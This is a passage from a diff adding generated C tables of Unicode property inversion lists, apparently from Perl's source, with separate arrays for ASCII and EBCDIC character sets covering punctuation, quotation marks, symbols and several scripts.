+	0x2053,
+	0x2054,
+	0x2055,
+	0x205F,
+	0x2CF9,
+	0x2CFD,
+	0x2CFE,
+	0x2D00,
+	0x2D70,
+	0x2D71,
+	0x2E00,
+	0x2E02,
+	0x2E06,
+	0x2E09,
+	0x2E0B,
+	0x2E0C,
+	0x2E0E,
+	0x2E17,
+	0x2E18,
+	0x2E1A,
+	0x2E1B,
+	0x2E1C,
+	0x2E1E,
+	0x2E20,
+	0x2E2A,
+	0x2E2F,
+	0x2E30,
+	0x2E3A,
+	0x2E3C,
+	0x2E40,
+	0x2E41,
+	0x2E42,
+	0x2E43,
+	0x2E4A,
+	0x3001,
+	0x3004,
+	0x303D,
+	0x303E,
+	0x30FB,
+	0x30FC,
+	0xA4FE,
+	0xA500,
+	0xA60D,
+	0xA610,
+	0xA673,
+	0xA674,
+	0xA67E,
+	0xA67F,
+	0xA6F2,
+	0xA6F8,
+	0xA874,
+	0xA878,
+	0xA8CE,
+	0xA8D0,
+	0xA8F8,
+	0xA8FB,
+	0xA8FC,
+	0xA8FD,
+	0xA92E,
+	0xA930,
+	0xA95F,
+	0xA960,
+	0xA9C1,
+	0xA9CE,
+	0xA9DE,
+	0xA9E0,
+	0xAA5C,
+	0xAA60,
+	0xAADE,
+	0xAAE0,
+	0xAAF0,
+	0xAAF2,
+	0xABEB,
+	0xABEC,
+	0xFE10,
+	0xFE17,
+	0xFE19,
+	0xFE1A,
+	0xFE30,
+	0xFE31,
+	0xFE45,
+	0xFE47,
+	0xFE49,
+	0xFE4D,
+	0xFE50,
+	0xFE53,
+	0xFE54,
+	0xFE58,
+	0xFE5F,
+	0xFE62,
+	0xFE68,
+	0xFE69,
+	0xFE6A,
+	0xFE6C,
+	0xFF01,
+	0xFF04,
+	0xFF05,
+	0xFF08,
+	0xFF0A,
+	0xFF0B,
+	0xFF0C,
+	0xFF0D,
+	0xFF0E,
+	0xFF10,
+	0xFF1A,
+	0xFF1C,
+	0xFF1F,
+	0xFF21,
+	0xFF3C,
+	0xFF3D,
+	0xFF61,
+	0xFF62,
+	0xFF64,
+	0xFF66,
+	0x10100,
+	0x10103,
+	0x1039F,
+	0x103A0,
+	0x103D0,
+	0x103D1,
+	0x1056F,
+	0x10570,
+	0x10857,
+	0x10858,
+	0x1091F,
+	0x10920,
+	0x1093F,
+	0x10940,
+	0x10A50,
+	0x10A59,
+	0x10A7F,
+	0x10A80,
+	0x10AF0,
+	0x10AF7,
+	0x10B39,
+	0x10B40,
+	0x10B99,
+	0x10B9D,
+	0x11047,
+	0x1104E,
+	0x110BB,
+	0x110BD,
+	0x110BE,
+	0x110C2,
+	0x11140,
+	0x11144,
+	0x11174,
+	0x11176,
+	0x111C5,
+	0x111CA,
+	0x111CD,
+	0x111CE,
+	0x111DB,
+	0x111DC,
+	0x111DD,
+	0x111E0,
+	0x11238,
+	0x1123E,
+	0x112A9,
+	0x112AA,
+	0x1144B,
+	0x11450,
+	0x1145B,
+	0x1145C,
+	0x1145D,
+	0x1145E,
+	0x114C6,
+	0x114C7,
+	0x115C1,
+	0x115D8,
+	0x11641,
+	0x11644,
+	0x11660,
+	0x1166D,
+	0x1173C,
+	0x1173F,
+	0x11A3F,
+	0x11A47,
+	0x11A9A,
+	0x11A9D,
+	0x11A9E,
+	0x11AA3,
+	0x11C41,
+	0x11C46,
+	0x11C70,
+	0x11C72,
+	0x12470,
+	0x12475,
+	0x16A6E,
+	0x16A70,
+	0x16AF5,
+	0x16AF6,
+	0x16B37,
+	0x16B3C,
+	0x16B44,
+	0x16B45,
+	0x1BC9F,
+	0x1BCA0,
+	0x1DA87,
+	0x1DA8C,
+	0x1E95E,
+	0x1E960
+};
+
+#   endif	/* EBCDIC 1047 */
+
+#   if 'A' == 193 /* EBCDIC 037 */ \
+     && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \
+     && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+static const UV PL_PO_invlist[] = { /* for EBCDIC 037 */
+	343,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x4B,
+	0x4C,
+	0x50,
+	0x51,
+	0x5A,
+	0x5B,
+	0x5C,
+	0x5D,
+	0x5E,
+	0x5F,
+	0x61,
+	0x62,
+	0x6B,
+	0x6D,
+	0x6F,
+	0x70,
+	0x7A,
+	0x7E,
+	0x7F,
+	0x80,
+	0xAA,
+	0xAC,
+	0xB3,
+	0xB4,
+	0xB5,
+	0xB7,
+	0xE0,
+	0xE1,
+	0x37E,
+	0x37F,
+	0x387,
+	0x388,
+	0x55A,
+	0x560,
+	0x589,
+	0x58A,
+	0x5C0,
+	0x5C1,
+	0x5C3,
+	0x5C4,
+	0x5C6,
+	0x5C7,
+	0x5F3,
+	0x5F5,
+	0x609,
+	0x60B,
+	0x60C,
+	0x60E,
+	0x61B,
+	0x61C,
+	0x61E,
+	0x620,
+	0x66A,
+	0x66E,
+	0x6D4,
+	0x6D5,
+	0x700,
+	0x70E,
+	0x7F7,
+	0x7FA,
+	0x830,
+	0x83F,
+	0x85E,
+	0x85F,
+	0x964,
+	0x966,
+	0x970,
+	0x971,
+	0x9FD,
+	0x9FE,
+	0xAF0,
+	0xAF1,
+	0xDF4,
+	0xDF5,
+	0xE4F,
+	0xE50,
+	0xE5A,
+	0xE5C,
+	0xF04,
+	0xF13,
+	0xF14,
+	0xF15,
+	0xF85,
+	0xF86,
+	0xFD0,
+	0xFD5,
+	0xFD9,
+	0xFDB,
+	0x104A,
+	0x1050,
+	0x10FB,
+	0x10FC,
+	0x1360,
+	0x1369,
+	0x166D,
+	0x166F,
+	0x16EB,
+	0x16EE,
+	0x1735,
+	0x1737,
+	0x17D4,
+	0x17D7,
+	0x17D8,
+	0x17DB,
+	0x1800,
+	0x1806,
+	0x1807,
+	0x180B,
+	0x1944,
+	0x1946,
+	0x1A1E,
+	0x1A20,
+	0x1AA0,
+	0x1AA7,
+	0x1AA8,
+	0x1AAE,
+	0x1B5A,
+	0x1B61,
+	0x1BFC,
+	0x1C00,
+	0x1C3B,
+	0x1C40,
+	0x1C7E,
+	0x1C80,
+	0x1CC0,
+	0x1CC8,
+	0x1CD3,
+	0x1CD4,
+	0x2016,
+	0x2018,
+	0x2020,
+	0x2028,
+	0x2030,
+	0x2039,
+	0x203B,
+	0x203F,
+	0x2041,
+	0x2044,
+	0x2047,
+	0x2052,
+	0x2053,
+	0x2054,
+	0x2055,
+	0x205F,
+	0x2CF9,
+	0x2CFD,
+	0x2CFE,
+	0x2D00,
+	0x2D70,
+	0x2D71,
+	0x2E00,
+	0x2E02,
+	0x2E06,
+	0x2E09,
+	0x2E0B,
+	0x2E0C,
+	0x2E0E,
+	0x2E17,
+	0x2E18,
+	0x2E1A,
+	0x2E1B,
+	0x2E1C,
+	0x2E1E,
+	0x2E20,
+	0x2E2A,
+	0x2E2F,
+	0x2E30,
+	0x2E3A,
+	0x2E3C,
+	0x2E40,
+	0x2E41,
+	0x2E42,
+	0x2E43,
+	0x2E4A,
+	0x3001,
+	0x3004,
+	0x303D,
+	0x303E,
+	0x30FB,
+	0x30FC,
+	0xA4FE,
+	0xA500,
+	0xA60D,
+	0xA610,
+	0xA673,
+	0xA674,
+	0xA67E,
+	0xA67F,
+	0xA6F2,
+	0xA6F8,
+	0xA874,
+	0xA878,
+	0xA8CE,
+	0xA8D0,
+	0xA8F8,
+	0xA8FB,
+	0xA8FC,
+	0xA8FD,
+	0xA92E,
+	0xA930,
+	0xA95F,
+	0xA960,
+	0xA9C1,
+	0xA9CE,
+	0xA9DE,
+	0xA9E0,
+	0xAA5C,
+	0xAA60,
+	0xAADE,
+	0xAAE0,
+	0xAAF0,
+	0xAAF2,
+	0xABEB,
+	0xABEC,
+	0xFE10,
+	0xFE17,
+	0xFE19,
+	0xFE1A,
+	0xFE30,
+	0xFE31,
+	0xFE45,
+	0xFE47,
+	0xFE49,
+	0xFE4D,
+	0xFE50,
+	0xFE53,
+	0xFE54,
+	0xFE58,
+	0xFE5F,
+	0xFE62,
+	0xFE68,
+	0xFE69,
+	0xFE6A,
+	0xFE6C,
+	0xFF01,
+	0xFF04,
+	0xFF05,
+	0xFF08,
+	0xFF0A,
+	0xFF0B,
+	0xFF0C,
+	0xFF0D,
+	0xFF0E,
+	0xFF10,
+	0xFF1A,
+	0xFF1C,
+	0xFF1F,
+	0xFF21,
+	0xFF3C,
+	0xFF3D,
+	0xFF61,
+	0xFF62,
+	0xFF64,
+	0xFF66,
+	0x10100,
+	0x10103,
+	0x1039F,
+	0x103A0,
+	0x103D0,
+	0x103D1,
+	0x1056F,
+	0x10570,
+	0x10857,
+	0x10858,
+	0x1091F,
+	0x10920,
+	0x1093F,
+	0x10940,
+	0x10A50,
+	0x10A59,
+	0x10A7F,
+	0x10A80,
+	0x10AF0,
+	0x10AF7,
+	0x10B39,
+	0x10B40,
+	0x10B99,
+	0x10B9D,
+	0x11047,
+	0x1104E,
+	0x110BB,
+	0x110BD,
+	0x110BE,
+	0x110C2,
+	0x11140,
+	0x11144,
+	0x11174,
+	0x11176,
+	0x111C5,
+	0x111CA,
+	0x111CD,
+	0x111CE,
+	0x111DB,
+	0x111DC,
+	0x111DD,
+	0x111E0,
+	0x11238,
+	0x1123E,
+	0x112A9,
+	0x112AA,
+	0x1144B,
+	0x11450,
+	0x1145B,
+	0x1145C,
+	0x1145D,
+	0x1145E,
+	0x114C6,
+	0x114C7,
+	0x115C1,
+	0x115D8,
+	0x11641,
+	0x11644,
+	0x11660,
+	0x1166D,
+	0x1173C,
+	0x1173F,
+	0x11A3F,
+	0x11A47,
+	0x11A9A,
+	0x11A9D,
+	0x11A9E,
+	0x11AA3,
+	0x11C41,
+	0x11C46,
+	0x11C70,
+	0x11C72,
+	0x12470,
+	0x12475,
+	0x16A6E,
+	0x16A70,
+	0x16AF5,
+	0x16AF6,
+	0x16B37,
+	0x16B3C,
+	0x16B44,
+	0x16B45,
+	0x1BC9F,
+	0x1BCA0,
+	0x1DA87,
+	0x1DA8C,
+	0x1E95E,
+	0x1E960
+};
+
+#   endif	/* EBCDIC 037 */
+
+static const UV PL_PRTI_invlist[] = { /* for all charsets */
+	5,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x10B40,
+	0x10B56,
+	0x10B58,
+	0x10B60
+};
+
+#   if 'A' == 65 /* ASCII/Latin1 */
+
+static const UV PL_PS_invlist[] = { /* for ASCII/Latin1 */
+	151,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x28,
+	0x29,
+	0x5B,
+	0x5C,
+	0x7B,
+	0x7C,
+	0xF3A,
+	0xF3B,
+	0xF3C,
+	0xF3D,
+	0x169B,
+	0x169C,
+	0x201A,
+	0x201B,
+	0x201E,
+	0x201F,
+	0x2045,
+	0x2046,
+	0x207D,
+	0x207E,
+	0x208D,
+	0x208E,
+	0x2308,
+	0x2309,
+	0x230A,
+	0x230B,
+	0x2329,
+	0x232A,
+	0x2768,
+	0x2769,
+	0x276A,
+	0x276B,
+	0x276C,
+	0x276D,
+	0x276E,
+	0x276F,
+	0x2770,
+	0x2771,
+	0x2772,
+	0x2773,
+	0x2774,
+	0x2775,
+	0x27C5,
+	0x27C6,
+	0x27E6,
+	0x27E7,
+	0x27E8,
+	0x27E9,
+	0x27EA,
+	0x27EB,
+	0x27EC,
+	0x27ED,
+	0x27EE,
+	0x27EF,
+	0x2983,
+	0x2984,
+	0x2985,
+	0x2986,
+	0x2987,
+	0x2988,
+	0x2989,
+	0x298A,
+	0x298B,
+	0x298C,
+	0x298D,
+	0x298E,
+	0x298F,
+	0x2990,
+	0x2991,
+	0x2992,
+	0x2993,
+	0x2994,
+	0x2995,
+	0x2996,
+	0x2997,
+	0x2998,
+	0x29D8,
+	0x29D9,
+	0x29DA,
+	0x29DB,
+	0x29FC,
+	0x29FD,
+	0x2E22,
+	0x2E23,
+	0x2E24,
+	0x2E25,
+	0x2E26,
+	0x2E27,
+	0x2E28,
+	0x2E29,
+	0x2E42,
+	0x2E43,
+	0x3008,
+	0x3009,
+	0x300A,
+	0x300B,
+	0x300C,
+	0x300D,
+	0x300E,
+	0x300F,
+	0x3010,
+	0x3011,
+	0x3014,
+	0x3015,
+	0x3016,
+	0x3017,
+	0x3018,
+	0x3019,
+	0x301A,
+	0x301B,
+	0x301D,
+	0x301E,
+	0xFD3F,
+	0xFD40,
+	0xFE17,
+	0xFE18,
+	0xFE35,
+	0xFE36,
+	0xFE37,
+	0xFE38,
+	0xFE39,
+	0xFE3A,
+	0xFE3B,
+	0xFE3C,
+	0xFE3D,
+	0xFE3E,
+	0xFE3F,
+	0xFE40,
+	0xFE41,
+	0xFE42,
+	0xFE43,
+	0xFE44,
+	0xFE47,
+	0xFE48,
+	0xFE59,
+	0xFE5A,
+	0xFE5B,
+	0xFE5C,
+	0xFE5D,
+	0xFE5E,
+	0xFF08,
+	0xFF09,
+	0xFF3B,
+	0xFF3C,
+	0xFF5B,
+	0xFF5C,
+	0xFF5F,
+	0xFF60,
+	0xFF62,
+	0xFF63
+};
+
+#   endif	/* ASCII/Latin1 */
+
+#   if 'A' == 193 /* EBCDIC 1047 */ \
+     && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \
+     && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+static const UV PL_PS_invlist[] = { /* for EBCDIC 1047 */
+	151,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x4D,
+	0x4E,
+	0xAD,
+	0xAE,
+	0xC0,
+	0xC1,
+	0xF3A,
+	0xF3B,
+	0xF3C,
+	0xF3D,
+	0x169B,
+	0x169C,
+	0x201A,
+	0x201B,
+	0x201E,
+	0x201F,
+	0x2045,
+	0x2046,
+	0x207D,
+	0x207E,
+	0x208D,
+	0x208E,
+	0x2308,
+	0x2309,
+	0x230A,
+	0x230B,
+	0x2329,
+	0x232A,
+	0x2768,
+	0x2769,
+	0x276A,
+	0x276B,
+	0x276C,
+	0x276D,
+	0x276E,
+	0x276F,
+	0x2770,
+	0x2771,
+	0x2772,
+	0x2773,
+	0x2774,
+	0x2775,
+	0x27C5,
+	0x27C6,
+	0x27E6,
+	0x27E7,
+	0x27E8,
+	0x27E9,
+	0x27EA,
+	0x27EB,
+	0x27EC,
+	0x27ED,
+	0x27EE,
+	0x27EF,
+	0x2983,
+	0x2984,
+	0x2985,
+	0x2986,
+	0x2987,
+	0x2988,
+	0x2989,
+	0x298A,
+	0x298B,
+	0x298C,
+	0x298D,
+	0x298E,
+	0x298F,
+	0x2990,
+	0x2991,
+	0x2992,
+	0x2993,
+	0x2994,
+	0x2995,
+	0x2996,
+	0x2997,
+	0x2998,
+	0x29D8,
+	0x29D9,
+	0x29DA,
+	0x29DB,
+	0x29FC,
+	0x29FD,
+	0x2E22,
+	0x2E23,
+	0x2E24,
+	0x2E25,
+	0x2E26,
+	0x2E27,
+	0x2E28,
+	0x2E29,
+	0x2E42,
+	0x2E43,
+	0x3008,
+	0x3009,
+	0x300A,
+	0x300B,
+	0x300C,
+	0x300D,
+	0x300E,
+	0x300F,
+	0x3010,
+	0x3011,
+	0x3014,
+	0x3015,
+	0x3016,
+	0x3017,
+	0x3018,
+	0x3019,
+	0x301A,
+	0x301B,
+	0x301D,
+	0x301E,
+	0xFD3F,
+	0xFD40,
+	0xFE17,
+	0xFE18,
+	0xFE35,
+	0xFE36,
+	0xFE37,
+	0xFE38,
+	0xFE39,
+	0xFE3A,
+	0xFE3B,
+	0xFE3C,
+	0xFE3D,
+	0xFE3E,
+	0xFE3F,
+	0xFE40,
+	0xFE41,
+	0xFE42,
+	0xFE43,
+	0xFE44,
+	0xFE47,
+	0xFE48,
+	0xFE59,
+	0xFE5A,
+	0xFE5B,
+	0xFE5C,
+	0xFE5D,
+	0xFE5E,
+	0xFF08,
+	0xFF09,
+	0xFF3B,
+	0xFF3C,
+	0xFF5B,
+	0xFF5C,
+	0xFF5F,
+	0xFF60,
+	0xFF62,
+	0xFF63
+};
+
+#   endif	/* EBCDIC 1047 */
+
+#   if 'A' == 193 /* EBCDIC 037 */ \
+     && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \
+     && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+static const UV PL_PS_invlist[] = { /* for EBCDIC 037 */
+	151,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x4D,
+	0x4E,
+	0xBA,
+	0xBB,
+	0xC0,
+	0xC1,
+	0xF3A,
+	0xF3B,
+	0xF3C,
+	0xF3D,
+	0x169B,
+	0x169C,
+	0x201A,
+	0x201B,
+	0x201E,
+	0x201F,
+	0x2045,
+	0x2046,
+	0x207D,
+	0x207E,
+	0x208D,
+	0x208E,
+	0x2308,
+	0x2309,
+	0x230A,
+	0x230B,
+	0x2329,
+	0x232A,
+	0x2768,
+	0x2769,
+	0x276A,
+	0x276B,
+	0x276C,
+	0x276D,
+	0x276E,
+	0x276F,
+	0x2770,
+	0x2771,
+	0x2772,
+	0x2773,
+	0x2774,
+	0x2775,
+	0x27C5,
+	0x27C6,
+	0x27E6,
+	0x27E7,
+	0x27E8,
+	0x27E9,
+	0x27EA,
+	0x27EB,
+	0x27EC,
+	0x27ED,
+	0x27EE,
+	0x27EF,
+	0x2983,
+	0x2984,
+	0x2985,
+	0x2986,
+	0x2987,
+	0x2988,
+	0x2989,
+	0x298A,
+	0x298B,
+	0x298C,
+	0x298D,
+	0x298E,
+	0x298F,
+	0x2990,
+	0x2991,
+	0x2992,
+	0x2993,
+	0x2994,
+	0x2995,
+	0x2996,
+	0x2997,
+	0x2998,
+	0x29D8,
+	0x29D9,
+	0x29DA,
+	0x29DB,
+	0x29FC,
+	0x29FD,
+	0x2E22,
+	0x2E23,
+	0x2E24,
+	0x2E25,
+	0x2E26,
+	0x2E27,
+	0x2E28,
+	0x2E29,
+	0x2E42,
+	0x2E43,
+	0x3008,
+	0x3009,
+	0x300A,
+	0x300B,
+	0x300C,
+	0x300D,
+	0x300E,
+	0x300F,
+	0x3010,
+	0x3011,
+	0x3014,
+	0x3015,
+	0x3016,
+	0x3017,
+	0x3018,
+	0x3019,
+	0x301A,
+	0x301B,
+	0x301D,
+	0x301E,
+	0xFD3F,
+	0xFD40,
+	0xFE17,
+	0xFE18,
+	0xFE35,
+	0xFE36,
+	0xFE37,
+	0xFE38,
+	0xFE39,
+	0xFE3A,
+	0xFE3B,
+	0xFE3C,
+	0xFE3D,
+	0xFE3E,
+	0xFE3F,
+	0xFE40,
+	0xFE41,
+	0xFE42,
+	0xFE43,
+	0xFE44,
+	0xFE47,
+	0xFE48,
+	0xFE59,
+	0xFE5A,
+	0xFE5B,
+	0xFE5C,
+	0xFE5D,
+	0xFE5E,
+	0xFF08,
+	0xFF09,
+	0xFF3B,
+	0xFF3C,
+	0xFF5B,
+	0xFF5C,
+	0xFF5F,
+	0xFF60,
+	0xFF62,
+	0xFF63
+};
+
+#   endif	/* EBCDIC 037 */
+
+static const UV PL_PUA_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0xE000,
+	0xF900
+};
+
+static const UV PL_QAAI_invlist[] = { /* for all charsets */
+	33,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x300,
+	0x342,
+	0x343,
+	0x345,
+	0x346,
+	0x363,
+	0x1AB0,
+	0x1ABF,
+	0x1DC2,
+	0x1DFA,
+	0x1DFB,
+	0x1E00,
+	0x200C,
+	0x200E,
+	0x20D0,
+	0x20F0,
+	0xFE00,
+	0xFE10,
+	0xFE20,
+	0xFE2E,
+	0x101FD,
+	0x101FE,
+	0x1D167,
+	0x1D16A,
+	0x1D17B,
+	0x1D183,
+	0x1D185,
+	0x1D18C,
+	0x1D1AA,
+	0x1D1AE,
+	0xE0100,
+	0xE01F0
+};
+
+#   if 'A' == 65 /* ASCII/Latin1 */
+
+static const UV PL_QMARK_invlist[] = { /* for ASCII/Latin1 */
+	27,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x22,
+	0x23,
+	0x27,
+	0x28,
+	0xAB,
+	0xAC,
+	0xBB,
+	0xBC,
+	0x2018,
+	0x2020,
+	0x2039,
+	0x203B,
+	0x2E42,
+	0x2E43,
+	0x300C,
+	0x3010,
+	0x301D,
+	0x3020,
+	0xFE41,
+	0xFE45,
+	0xFF02,
+	0xFF03,
+	0xFF07,
+	0xFF08,
+	0xFF62,
+	0xFF64
+};
+
+#   endif	/* ASCII/Latin1 */
+
+#   if 'A' == 193 /* EBCDIC 1047 */ \
+     && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \
+     && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+static const UV PL_QMARK_invlist[] = { /* for EBCDIC 1047 */
+	25,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x7D,
+	0x7E,
+	0x7F,
+	0x80,
+	0x8A,
+	0x8C,
+	0x2018,
+	0x2020,
+	0x2039,
+	0x203B,
+	0x2E42,
+	0x2E43,
+	0x300C,
+	0x3010,
+	0x301D,
+	0x3020,
+	0xFE41,
+	0xFE45,
+	0xFF02,
+	0xFF03,
+	0xFF07,
+	0xFF08,
+	0xFF62,
+	0xFF64
+};
+
+#   endif	/* EBCDIC 1047 */
+
+#   if 'A' == 193 /* EBCDIC 037 */ \
+     && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \
+     && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+static const UV PL_QMARK_invlist[] = { /* for EBCDIC 037 */
+	25,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x7D,
+	0x7E,
+	0x7F,
+	0x80,
+	0x8A,
+	0x8C,
+	0x2018,
+	0x2020,
+	0x2039,
+	0x203B,
+	0x2E42,
+	0x2E43,
+	0x300C,
+	0x3010,
+	0x301D,
+	0x3020,
+	0xFE41,
+	0xFE45,
+	0xFF02,
+	0xFF03,
+	0xFF07,
+	0xFF08,
+	0xFF62,
+	0xFF64
+};
+
+#   endif	/* EBCDIC 037 */
+
+static const UV PL_RADICAL_invlist[] = { /* for all charsets */
+	7,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x2E80,
+	0x2E9A,
+	0x2E9B,
+	0x2EF4,
+	0x2F00,
+	0x2FD6
+};
+
+static const UV PL_RI_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x1F1E6,
+	0x1F200
+};
+
+static const UV PL_RJNG_invlist[] = { /* for all charsets */
+	5,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0xA930,
+	0xA954,
+	0xA95F,
+	0xA960
+};
+
+static const UV PL_RUMI_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x10E60,
+	0x10E80
+};
+
+static const UV PL_RUNR_invlist[] = { /* for all charsets */
+	5,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x16A0,
+	0x16EB,
+	0x16EE,
+	0x16F9
+};
+
+#   if 'A' == 65 /* ASCII/Latin1 */
+
+static const UV PL_S_invlist[] = { /* for ASCII/Latin1 */
+	435,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x24,
+	0x25,
+	0x2B,
+	0x2C,
+	0x3C,
+	0x3F,
+	0x5E,
+	0x5F,
+	0x60,
+	0x61,
+	0x7C,
+	0x7D,
+	0x7E,
+	0x7F,
+	0xA2,
+	0xA7,
+	0xA8,
+	0xAA,
+	0xAC,
+	0xAD,
+	0xAE,
+	0xB2,
+	0xB4,
+	0xB5,
+	0xB8,
+	0xB9,
+	0xD7,
+	0xD8,
+	0xF7,
+	0xF8,
+	0x2C2,
+	0x2C6,
+	0x2D2,
+	0x2E0,
+	0x2E5,
+	0x2EC,
+	0x2ED,
+	0x2EE,
+	0x2EF,
+	0x300,
+	0x375,
+	0x376,
+	0x384,
+	0x386,
+	0x3F6,
+	0x3F7,
+	0x482,
+	0x483,
+	0x58D,
+	0x590,
+	0x606,
+	0x609,
+	0x60B,
+	0x60C,
+	0x60E,
+	0x610,
+	0x6DE,
+	0x6DF,
+	0x6E9,
+	0x6EA,
+	0x6FD,
+	0x6FF,
+	0x7F6,
+	0x7F7,
+	0x9F2,
+	0x9F4,
+	0x9FA,
+	0x9FC,
+	0xAF1,
+	0xAF2,
+	0xB70,
+	0xB71,
+	0xBF3,
+	0xBFB,
+	0xC7F,
+	0xC80,
+	0xD4F,
+	0xD50,
+	0xD79,
+	0xD7A,
+	0xE3F,
+	0xE40,
+	0xF01,
+	0xF04,
+	0xF13,
+	0xF14,
+	0xF15,
+	0xF18,
+	0xF1A,
+	0xF20,
+	0xF34,
+	0xF35,
+	0xF36,
+	0xF37,
+	0xF38,
+	0xF39,
+	0xFBE,
+	0xFC6,
+	0xFC7,
+	0xFCD,
+	0xFCE,
+	0xFD0,
+	0xFD5,
+	0xFD9,
+	0x109E,
+	0x10A0,
+	0x1390,
+	0x139A,
+	0x17DB,
+	0x17DC,
+	0x1940,
+	0x1941,
+	0x19DE,
+	0x1A00,
+	0x1B61,
+	0x1B6B,
+	0x1B74,
+	0x1B7D,
+	0x1FBD,
+	0x1FBE,
+	0x1FBF,
+	0x1FC2,
+	0x1FCD,
+	0x1FD0,
+	0x1FDD,
+	0x1FE0,
+	0x1FED,
+	0x1FF0,
+	0x1FFD,
+	0x1FFF,
+	0x2044,
+	0x2045,
+	0x2052,
+	0x2053,
+	0x207A,
+	0x207D,
+	0x208A,
+	0x208D,
+	0x20A0,
+	0x20C0,
+	0x2100,
+	0x2102,
+	0x2103,
+	0x2107,
+	0x2108,
+	0x210A,
+	0x2114,
+	0x2115,
+	0x2116,
+	0x2119,
+	0x211E,
+	0x2124,
+	0x2125,
+	0x2126,
+	0x2127,
+	0x2128,
+	0x2129,
+	0x212A,
+	0x212E,
+	0x212F,
+	0x213A,
+	0x213C,
+	0x2140,
+	0x2145,
+	0x214A,
+	0x214E,
+	0x214F,
+	0x2150,
+	0x218A,
+	0x218C,
+	0x2190,
+	0x2308,
+	0x230C,
+	0x2329,
+	0x232B,
+	0x2427,
+	0x2440,
+	0x244B,
+	0x249C,
+	0x24EA,
+	0x2500,
+	0x2768,
+	0x2794,
+	0x27C5,
+	0x27C7,
+	0x27E6,
+	0x27F0,
+	0x2983,
+	0x2999,
+	0x29D8,
+	0x29DC,
+	0x29FC,
+	0x29FE,
+	0x2B74,
+	0x2B76,
+	0x2B96,
+	0x2B98,
+	0x2BBA,
+	0x2BBD,
+	0x2BC9,
+	0x2BCA,
+	0x2BD3,
+	0x2BEC,
+	0x2BF0,
+	0x2CE5,
+	0x2CEB,
+	0x2E80,
+	0x2E9A,
+	0x2E9B,
+	0x2EF4,
+	0x2F00,
+	0x2FD6,
+	0x2FF0,
+	0x2FFC,
+	0x3004,
+	0x3005,
+	0x3012,
+	0x3014,
+	0x3020,
+	0x3021,
+	0x3036,
+	0x3038,
+	0x303E,
+	0x3040,
+	0x309B,
+	0x309D,
+	0x3190,
+	0x3192,
+	0x3196,
+	0x31A0,
+	0x31C0,
+	0x31E4,
+	0x3200,
+	0x321F,
+	0x322A,
+	0x3248,
+	0x3250,
+	0x3251,
+	0x3260,
+	0x3280,
+	0x328A,
+	0x32B1,
+	0x32C0,
+	0x32FF,
+	0x3300,
+	0x3400,
+	0x4DC0,
+	0x4E00,
+	0xA490,
+	0xA4C7,
+	0xA700,
+	0xA717,
+	0xA720,
+	0xA722,
+	0xA789,
+	0xA78B,
+	0xA828,
+	0xA82C,
+	0xA836,
+	0xA83A,
+	0xAA77,
+	0xAA7A,
+	0xAB5B,
+	0xAB5C,
+	0xFB29,
+	0xFB2A,
+	0xFBB2,
+	0xFBC2,
+	0xFDFC,
+	0xFDFE,
+	0xFE62,
+	0xFE63,
+	0xFE64,
+	0xFE67,
+	0xFE69,
+	0xFE6A,
+	0xFF04,
